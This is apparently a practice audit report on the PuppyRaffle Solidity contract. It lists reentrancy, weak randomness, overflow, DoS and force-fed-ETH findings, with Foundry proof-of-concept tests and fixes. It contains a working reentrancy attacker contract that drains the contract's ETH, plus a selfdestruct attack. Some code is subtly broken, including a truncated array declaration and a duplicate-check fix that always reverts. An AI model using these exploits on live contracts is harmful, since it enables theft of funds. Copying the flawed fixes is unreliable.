Puppy Raffle Initial Audit Report

Version 0.1

Auditryx

September 22, 2025

Puppy Raffle Initial Audit Report

Auditryx

September 21, 2025

Puppy Raffle Audit Report

Prepared by: 0xZHD

Lead Auditors:

- [0xZHD]

Assisting Auditors:

- None

Table of contents

See table

About 0xZHD

I am a blockchain security enthusiast and smart contract auditor specializing in Ethereum and Solidity. I focus on analyzing, testing, and reporting vulnerabilities in smart contracts, including DeFi protocols and NFT projects.

I practice hands-on security research through platforms like Ethernaut, Damn Vulnerable DeFi, CodeHawks and Capture the Ether, after share my findings in detailed audit reports on github.

My goal is to contribute to secure and reliable smart contract ecosystems by identifying critical risks and recommending mitigation strategies.

Disclaimer

The Auditryx team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	0
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy Vulnerability in `PuppyRaffle::refund` Function

Description:
The `PuppyRaffle::refund` function performs an external call to send ETH **before** updating the player's state:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

- This violates the Checks-Effects-Interactions pattern, allowing attackers to recursively call refund via a malicious contract before the state is updated.

Impact: - An attacker can drain the contract by repeatedly calling refund in a single transaction or block. - Leads to total loss of ETH deposited by legitimate players.

Proof of Code:
- This test demonstrates a **reentrancy attack** on `PuppyRaffle::refund`. A malicious contract can recursively call `PuppyRaffle::refund` before the state is updated, draining the contract's ETH.

- The attacker contract enters the raffle and triggers `PuppyRaffle::refund`. Its fallback repeatedly calls `ReentrancyAttack::_stealMoney()`, exploiting the external call before state change.

Results:
- Attacker contract balance before attack: 0
- PuppyRaffle contract balance before attack: ~3e18
- Attacker contract balance after attack: ~4e18
- PuppyRaffle contract balance after attack: 0

>→ Confirms reentrancy vulnerability and complete fund drain.

Add the following to the `PuppyRaffleTest.t.sol` test file.

Code

```
function test_Reentrancy() public {
        address[] memory players = new address[](3);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = address(3);
        puppyRaffle.enterRaffle{value: entranceFee * 3}(players);

        ReentrancyAttack attackerContract = new ReentrancyAttack(puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        uint256 startingAttackerContactBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        console.log("Attacker contract balance before attack: %s", startingAttackerContactBalance);
        console.log("PuppyRaffle contract balance before attack: %s", startingContractBalance);

        console.log("Attacker contract balance after attack: %s", address(attackerContract).balance);
        console.log("PuppyRaffle contract balance after attack: %s", address(puppyRaffle).balance);

       // Logs:
       //   Attacker contract balance before attack: 0
       //   PuppyRaffle contract balance before attack: 3000000000000000000 (~ 3e18)
       //   Attacker contract balance after attack: 4000000000000000000 (~ 4e18)
       //   PuppyRaffle contract balance after attack: 0
    }

contract ReentrancyAttack {
    PuppyRaffle public puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }
    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation:
- Apply the **Checks-Effects-Interactions** pattern: update all state variables **before** making external calls.
- Optionally, use OpenZeppelin's `ReentrancyGuard` on `PuppyRaffle::refund()` to prevent nested calls.

Example fix:

```
    function refund(uint256 playerIndex) public {
+       // Checks
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

+       // Effects
-       payable(msg.sender).sendValue(entranceFee);
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

+       // Interaction
+       payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `Winner Selection` and `Rarity` Assignment

Description:
The function `PuppyRaffle::selectWinner` uses `keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))` to generate randomness. These values are predictable or controllable by miners/validators and attackers. As a result, the outcome of the raffle (winner and rarity) can be manipulated.

Impact:

- Attackers can influence the random number to increase their chance of winning.
- Miners/validators can reorder, include, or exclude transactions to bias the result.
- Rarity of NFTs can also be manipulated, breaking fairness of the raffle.

Proof of Concept:

1. Attacker monitors the mempool for a pending `PuppyRaffle::selectWinner` transaction.
2. Attacker simulates possible `winnerIndex` values with small changes in `block.timestamp` or by front-running with their own `msg.sender`.
3. Attacker only broadcasts if the calculated winnerIndex favors them.
4. Result: Attacker unfairly wins prize or mints rare NFTs.

Recommended Mitigation:

- Do **not** rely on block variables (`block.timestamp`, `block.difficulty`, `msg.sender`) for randomness.
- Use **Chainlink VRF** or another secure verifiable randomness oracle:

```
   uint256 winnerIndex = VRFCoordinator.random() % players.length;
```

> References: - ***Chainlink VRF***: Industry-standard solution for secure randomness in smart contracts. Provides cryptographic proofs that randomness is not manipulated.
> Chainlink VRF Documentation - ***Solidity Blog on `prevrandao`***: Explains why block values (e.g., `block.timestamp`, `block.prevrandao`) are predictable and insecure for randomness.
> Solidity Blog – Prevrandao

[H-3] Integer Overflow in Fee Accounting

Description:

In `PuppyRaffle::selectWinner`, the line `totalFees = totalFees + uint64(fee);` casts the `fee` to `uint64`. If the `fee` exceeds the maximum `uint64` value, it will wrap around, causing incorrect accounting.

```

         // @audit- integer overflow, if the `fee` is too high.....
@>       uint64 public totalFees = 0;

@>       totalFees = totalFees + uint64(fee);
```

Impact:

- The contract may under-report collected fees due to overflow.
- Owner might not be able to withdraw the correct fee amount.
- Could be exploited if `PuppyRaffle::entranceFee` or player count is large.

Proof of Concept:

- This test simulates 100 players entering the raffle and then calls `PuppyRaffle::selectWinner()`. - The contract calculates fees, but since `PuppyRaffle::totalFees` is stored as `uint64`, the addition overflows and the actual value becomes smaller than expected.

result: - Logs show `Expected Total Fees` > `Actual Total Fees`, confirming overflow. - The final `PuppyRaffle::withdrawFees()` call reverts, proving that fee accounting is corrupted and withdrawal fails.

logs: - Expected Total Fees: `20000000000000000000` (~ 20e18)
- Actual Total Fees: `1553255926290448384` (~ 1.553e18)
> Confirms **TotalFeesOverflow** vulnerability.

Add the following to the `PuppyRaffleTest.t.sol` test file.

Code

```
    function test_TotalFeesOverflow() public {
        // Simulate 100 number of players entering the raffle
        uint256 numOfPlayers = 100;
        address[] memory players = new address[](numOfPlayers);
        for (uint256 i = 0; i < numOfPlayers; i++) {
            players[i] = address(uint160(i)); // Create unique addresses
        }

        puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint256 expectedTotalFees = ((entranceFee * numOfPlayers) * 20) / 100;

        uint256 actualTotalFees = puppyRaffle.totalFees();

        console.log("Expected Total Fees: %s", expectedTotalFees);
        console.log("Actual Total Fees: %s", actualTotalFees);

        assert(actualTotalFees < expectedTotalFees);


        vm.expectRevert();
        puppyRaffle.withdrawFees();

    // Logs:
    //   Expected Total Fees: 20000000000000000000(2e19)
    //   Actual Total Fees: 1553255926290448384(1.553e18)
}
```

Recommended Mitigation:
1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.x;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows

2. Use `uint256` consistently for all fee calculations and storage:

```
+ uint256 public totalFees = 0;

- uint64 public totalFees = 0;

+ totalFees += fee;

- totalFees = totalFees + uint64(fee);
```

[H-4] Raffle May Become Stuck if Winner is a Contract Without proper `receive` or `fallback`

Description:
The `PuppyRaffle::selectWinner` function is designed to both determine the winner and reset the lottery state. However, if the chosen winner is a smart contract that lacks a payable `receive` or `fallback` function (or one that deliberately reverts on payment), the prize transfer will fail. As a result, the entire transaction reverts, preventing the lottery from resetting properly.

This behavior creates a **single point of failure**: the raffle cannot proceed to the next round, and honest participants are blocked from continuing until the issue is resolved.

Impact:
- The `selectWinner` function may continuously revert, making it impossible to start a new raffle.
- Genuine winners could be denied their payout.
- Funds intended for winners may remain locked in the contract, while other participants unfairly lose access to future raffles.
- Gas costs for participants attempting to interact with the contract will increase, as repeated reverts accumulate.

Proof of Concept:
1. Four smart contract wallets without proper `receive` or `fallback` functions enter the raffle.
2. The raffle duration expires, triggering `selectWinner`.

3. When the contract attempts to transfer funds to the winning address, the call reverts.
4. The entire `selectWinner` execution fails, leaving the lottery in a stuck state.

Add the following to the `PuppyRaffleTest.t.sol` test file.

Example Code

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
contract AttackerContract {
    receive() external payable {}
}
```

Recommended Mitigation:
To avoid blocking the entire raffle lifecycle, adopt one of the following strategies:

1. **Pull Payment Model (Recommended):**
   Instead of sending funds directly within `selectWinner`, record the prize amount in a `winnings` mapping. Winners can then call a dedicated `withdrawWinnings()` function to claim their prize. This ensures the raffle always progresses, regardless of whether the winner is a contract or EOA.

2. **Restrict Smart Contracts (Not Recommended):**
   Prevent contract accounts from entering the raffle by checking `extcodesize(address)` or `address.code.length`. While this ensures payouts succeed, it reduces inclusivity and may block legitimate participants.

Medium

[M-1] Denial of service(DoS) via Inefficient looping through Duplicate Check in `PuppyRaffle::enterRaffle` (O(n^2) gas growth)

Description: The duplicate check inside `PuppyRaffle::enterRaffle` uses nested loops over the `PuppyRaffle::players` array. This results in O(n^2) complexity, causing gas costs to grow rapidly as more players join.

```
// @audit DoS Attack
@>    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
          require(players[i] != players[j], "PuppyRaffle: Duplicate player");
              }
          }
```

Impact: Attackers can exploit this inefficiency by submitting large batches of players, making the transaction run out of gas or too expensive to execute. This creates a Denial of Service (DoS), preventing new entries into the raffle.

Proof of Concept: - The following test demonstrates how the nested $O(n^2)$ duplicate check in `PuppyRaffle::enterRaffle` causes gas usage to grow rapidly with more players, eventually leading to Denial of Service (DoS).

- In the first 100-player entry, gas usage is already high. When another 100 players join, gas cost nearly triples, showing quadratic growth.
- This inefficiency allows attackers to bloat the `PuppyRaffle::players` array and make the function unusable for others.

Results: - Gas used for first 100 entries: ~6,252,047 - Gas used for second 100 entries: ~18,068,137 >→ Confirms quadratic growth and clear DoS risk.

Add the following to the `PuppyRaffleTest.t.sol` test file.

Code

```
function test_Denial_of_Service() public {
    vm.txGasPrice(1);

    // Let's enter 100 players
    uint256 numOfPlayers = 100;
    address[] memory players = new address[](numOfPlayers);
    for (uint256 i = 0; i < numOfPlayers; i++) {
        players[i] = address(uint160(i));
    }

    puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(players);

    // Add another 100 players
    address[] memory morePlayers = new address[](numOfPlayers);
    for (uint256 i = 0; i < numOfPlayers; i++) {
        morePlayers[i] = address(uint160(i + numOfPlayers));
    }

    puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(morePlayers);

    // Logs:
    // Gas used for first 100 entries: 6252047
    // Gas used for second 100 entries: 18068137
}
```

Recommended Mitigation: This mitigation replaces the $O(n^2)$ duplicate check with a mapping-based approach.
- **O(1) Duplicate Check**: Each player is tracked in `addressToRaffleId`, allowing constant-time duplicate validation.
- **Efficient Reset**: Instead of clearing the mapping, simply incrementing `raffleId` starts a fresh round.
- **Gas Efficient & Scalable**: This makes the contract more secure against DoS attacks and scalable for a large number of players.

Example fix

```
+   mapping(address => uint256) public addressToRaffleId;
+   uint256 public raffleId = 0;

    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

+    // Check duplicates for new players
+      for (uint256 i = 0; i < newPlayers.length; i++) {
+         require(addressToRaffleId[newPlayers[i]] != raffleId, "Duplicate player");
        }
-    // Check for duplicates
-      for (uint256 i = 0; i < players.length - 1; i++) {
-         for (uint256 j = i + 1; j < players.length; j++) {
-         require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
```

[M-2] Incorrect handling of "not found" player index return in `PuppyRaffle::getActivePlayerIndex`

Description: The `PuppyRaffle::getActivePlayerIndex` function returns `0` when a player is not found in the array. However, `0` is also a valid index, so callers cannot distinguish between "player at index 0" and "player not found". This can cause incorrect logic downstream, especially if other functions rely on this return value for validation.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }

@>      return 0;

    }
```

Impact: External callers may incorrectly assume that a player is active at index `0` when in fact the player does not exist, leading to unintended behavior or faulty access control.

Proof of Concept: - Suppose `players[0] = address(0xABC...)` - Call `getActivePlayerIndex(nonExistingPlayer)` - The function returns `0` - Caller might interpret this as `nonExistingPlayer` being at index `0`, causing incorrect assumptions.

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0. You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

[M-3] Mishandling of ETH Balance Check in `PuppyRaffle::withdrawFees()`

Description:
The contract incorrectly assumes that the total ETH balance of the contract (`PuppyRaffle::address(this).balance`) will always match the `PuppyRaffle::totalFees` variable. This assumption is unsafe because malicious actors or unintended direct transfers can increase the contract's balance without updating `PuppyRaffle::totalFees`. As a result, the `require` check in `PuppyRaffle::withdrawFees()` can fail even when fees are legitimately available, potentially blocking withdrawals.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

```
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact:
- The owner may be unable to withdraw collected fees.
- Funds can become permanently locked in the contract.
- Creates a Denial-of-Service (DoS) condition for fee withdrawal.

Proof of Concept:
- This test simulates an attacker sending ETH directly to the `PuppyRaffle` contract via `selfdestruct()`.
- Then, 4 players enter the raffle and `selectWinner()` is called.
- Because `address(this).balance` now exceeds `totalFees`, the `require` in `withdrawFees()` fails.

> Result: - Owner cannot withdraw fees due to the balance mismatch.
> - Demonstrates that unsolicited ETH can lock fee withdrawals, creating a Denial-of-Service (DoS).
> Confirms **Mishandling Of ETH** vulnerability.

Logs:
- Contract Balance: `1000000000000000000` (~ 1 ETH)
- Total Fees: `800000000000000000` (~ 0.8 ETH)

Add the following to the `PuppyRaffleTest.t.sol` test file.

Code

```
function test_MishandlingOfEth() public {
    AttackPuppyRaffle attackPuppyRaffle = new AttackPuppyRaffle(puppyRaffle);
    vm.deal(address(attackPuppyRaffle), 0.2 ether);

    vm.prank(address(attackPuppyRaffle));
    attackPuppyRaffle.attack{value: 0.2 ether}(); // 0.2 ETH sent directly to contract

    // Simulate 4 players entering the raffle
    address ;
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();

    uint256 contractBalance = address(puppyRaffle).balance;
    uint256 totalFees = puppyRaffle.totalFees();

    console.log("Contract Balance: %s", contractBalance);
    console.log("Total Fees: %s", totalFees);

    assert(contractBalance > totalFees);

    vm.expectRevert();
    puppyRaffle.withdrawFees();

    // Logs:
    //   Contract Balance: 1000000000000000000
    //   Total Fees: 800000000000000000
}

contract AttackPuppyRaffle {
    PuppyRaffle target;

    constructor(PuppyRaffle _target) {
        target = _target;
    }

    function attack() external payable {
        selfdestruct(payable(address(target))); // Sends ETH directly to the contract
    }
}
```

Recommended Mitigation:

- Track fees explicitly in a dedicated variable.
- Do not compare `address(this).balance` to `totalFees`.
- remove this `require`:

```
    function withdrawFees() external {
    // @audit- Mishandling of eth
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Informational / Non-Critical

[I-1] Insecure Compiler Version Declaration

Description:
The contract uses a floating pragma (`pragma solidity ^0.7.6;`). This allows the code to compile with any future 0.7.x compiler version, which may introduce unexpected behavior or security issues.

Impact:
Future compiler versions could change language semantics or introduce new bugs, leading to unexpected vulnerabilities or breaking changes.

Proof of Concept:
- Contract declares:

```
pragma solidity ^0.7.6;
```

- This compiles with all versions `>=0.7.6 <0.8.0`.

Recommended Mitigation: - Lock the pragma to the exact compiler version tested and audited, e.g.:

```
pragma solidity 0.7.6;
```

- Alternatively, use a narrow version range only if multiple versions are intentionally supported and tested.

[I-2] Outdated Solidity Compiler Version

Description:
The contract uses Solidity version `^0.7.6`, which is outdated and contains several known severe issues. These vulnerabilities are documented in the official Solidity bug list and may lead to unexpected or unsafe contract behavior.

```
pragma solidity ^0.7.6;
```

Impact: - The contract may be exposed to compiler-level bugs. - Reduced support and compatibility with modern tools and libraries. - Misses out on important safety features introduced in Solidity 0.8.x.

Proof of Concept:
Detected Issues in 0.7.6: - `FullInlinerNonExpressionSplitArgumentEvaluationOrder`
- `MissingSideEffectsOnSelectorAccess`
- `AbiReencodingHeadOverflowWithStaticArrayCleanup`

- `DirtyBytesArrayToStorage`
- `DataLocationChangeInInternalOverride`
- `NestedCalldataArrayAbiReencodingSizeValidation`
- `SignedImmutables`
- `ABIDecodeTwoDimensionalArrayMemory`
- `KeccakCaching`

Recommended Mitigation: - Upgrade the contract to at least Solidity 0.8.0 or higher (preferably the latest stable release, e.g., 0.8.20). - After upgrading, re-run all tests and audits, since Solidity 0.8.x introduces breaking changes like default overflow/underflow reverts.

> References: - Slither: Incorrect Versions of Solidity
> - Solidity Known Bugs
> - Solidity Compiler Releases
> - Solidity v0.8.0 Breaking Changes

[I-3] Missing Zero Address Validation in Constructor and `PuppyRaffle::changeFeeAddress`

Description:
The contract constructor assigns `_feeAddress` to `feeAddress` without checking if it is the zero address:
- If _feeAddress is 0x0000000000000000000000000000000000000000, future fee withdrawals or transfers will fail and funds could be lost.

```
    constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy Raffle", "PR") {
        entranceFee = _entranceFee;
    // @audit- lacks a zero address check
@>      feeAddress = _feeAddress;
        raffleDuration = _raffleDuration;
        raffleStartTime = block.timestamp;
```

also

```
    function changeFeeAddress(address newFeeAddress) external onlyOwner {
@>      // @audit- should be zero address check here
        feeAddress = newFeeAddress;
        emit FeeAddressChanged(newFeeAddress);
```

Impact: - If a zero address is provided, the contract will attempt to send fees to 0x0, resulting in permanent loss of ETH. - No additional checks prevent this scenario, so deployment with an incorrect address could render fee functionality unusable.

Proof of Concept: 1. Deploy the contract with _feeAddress = address(0). `javascript _entranceFee = 0.01 ETH _feeAddress = 0x0000000000000000000000000000000000000000 # mistake _raffleDuration = 3 days` 2. Call any function that attempts to send fees to feeAddress. 3. The transaction will revert or ETH will be irrecoverably lost.

Recommended Mitigation: - Add a zero-address check in the constructor:

```
    constructor(uint256 _entranceFee, address _feeAddress, uint256
        _raffleDuration) ERC721("Puppy Raffle", "PR") {
+       require(_feeAddress != address(0), "PuppyRaffle: feeAddress
   cannot be zero");

        entranceFee = _entranceFee;
        feeAddress = _feeAddress;
        raffleDuration = _raffleDuration;
        raffleStartTime = block.timestamp;
```

- Also add a zero-address check in the `PuppyRaffle::changeFeeAddress`:

```
    function changeFeeAddress(address newFeeAddress) external onlyOwner
        {
+       require(_feeAddress != address(0), "PuppyRaffle: feeAddress
   cannot be zero");
        feeAddress = newFeeAddress;
        emit FeeAddressChanged(newFeeAddress);
    }
```

[I-4] does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-   (bool success,) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner"
   );
        _safeMint(winner, tokenId);
+   (bool success,) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner"
   );
```

[I-5] Avoid the Use of "Magic Numbers"

Description:
The contract currently uses hardcoded numeric literals (e.g., percentages like `80`, `20`, `100`) directly in calculations. This practice, commonly referred to as *magic numbers*, reduces code readability and

makes future maintenance more error-prone. Developers or Auditors may struggle to understand what these numbers represent without additional context.

Recommendation:
Replace magic numbers with named constants to improve clarity and maintainability. This also prevents accidental miscalculations if the values need to change in the future.

Example Improvement:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

> Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant PERCENTAGE_BASE = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    PERCENTAGE_BASE;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / PERCENTAGE_BASE
    ;
```

[I-6] Unused Internal Function `PuppyRaffle::_isActivePlayer`

Description:
The contract defines the internal function `PuppyRaffle::_isActivePlayer`, which iterates through the `PuppyRaffle::players` array to check if `msg.sender` is currently active. However, this function is **never invoked** anywhere in the contract.

Impact:
- Unnecessary increase in code size and bytecode.
- Adds cognitive overhead for reviewers and auditors.
- May mislead future developers into believing the function plays an active role in the contract logic.

Recommended Mitigation:
- If this function is truly unnecessary, remove it to reduce clutter.
- If the functionality is intended, integrate it into relevant checks (e.g., `PuppyRaffle::enterRaffle`, `PuppyRaffle::refund`) instead of duplicating logic.

[I-7] Insufficient Test Coverage

Description:
Current test coverage is below 90%, indicating that some parts of the code remain untested. Low coverage, especially in branches, increases the risk of undetected bugs or vulnerabilities.

File	% Lines	% Statements	% Branches	% Funcs
script/DeployPuppyRaffle.sol	0.00% (0/4)	0.00% (0/4)	100.00% (0/0)	0.00% (0/1)
src/PuppyRaffle.sol	84.21% (64/76)	84.88% (73/86)	69.23% (18/26)	80.00% (8/10)
Total	80.00% (64/80)	81.11% (73/90)	69.23% (18/26)	72.73% (8/11)

Recommended Mitigation:
- Increase test coverage to **90%+**, prioritizing branch coverage.
- Add tests for edge cases, revert scenarios, and event emissions.
- Include tests for deployment scripts (`DeployPuppyRaffle.sol`) to improve overall coverage.

Gas (Optional)

[G-1] Unoptimized State Variables, unchanged state variable should be declared constant or immutable.

Description:
- The contract defines several state variables (`raffleDuration`, `commonImageUri`, `rareImageUri` and `legendaryImageUri`) that could be marked as `immutable` or `constant` to reduce gas costs.
- `raffleDuration` is set once during deployment and never changes. This should be marked as `immutable` to avoid repeated storage reads.
- Variables like `commonImageUri`, `rareImageUri` and `legendaryImageUri` are fixed values that should be marked as `constant`.

Failing to do this increases deployment cost and runtime gas usage since values are loaded from storage instead of directly from code.

Impact:
Unnecessary storage reads increase gas costs. This does not affect contract security but leads to inefficient gas usage, especially when these variables are accessed frequently.

Proof of Concept: - Each access to `raffleDuration` costs an `SLOAD` (~2100 gas). - Marking it as `immutable` reduces this to a direct value load (~3 gas). - Similarly, `commonImageUri`, `rareImageUri` and `legendaryImageUri` as constant variables are embedded in bytecode and incur no storage cost.

Recommended Mitigation:
- Use the `immutable` keyword for values assigned only once in the constructor (`raffleDuration`).
- Use the `constant` keyword for truly constant values (`commonImageUri`, `rareImageUri` and `legendaryImageUri`).

Example:

```
uint256 public immutable raffleDuration;


string private constant commonImageUri = "ipfs://...";
string private constant rareImageUri    = "ipfs://...";
string private constant legendaryImageUri    = "ipfs://...";
```

[G-2] Storage Variables in Loops Should Be Cached

Description:
Accessing `players.length` repeatedly in nested loops reads from storage each time, which is expensive in gas. Caching the length in memory improves gas efficiency without changing logic.

Impact: - Reduces gas cost for loops, especially for large players arrays. - Helps prevent transactions from exceeding block gas limits, reducing DoS risk due to high gas usage.

Example Fix: Should be fix all the loop this way-

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+     for (uint256 j = i + 1; j < playersLength; j++) {
          require(players[i] != players[j], "PuppyRaffle: Duplicate player");
      }
  }
```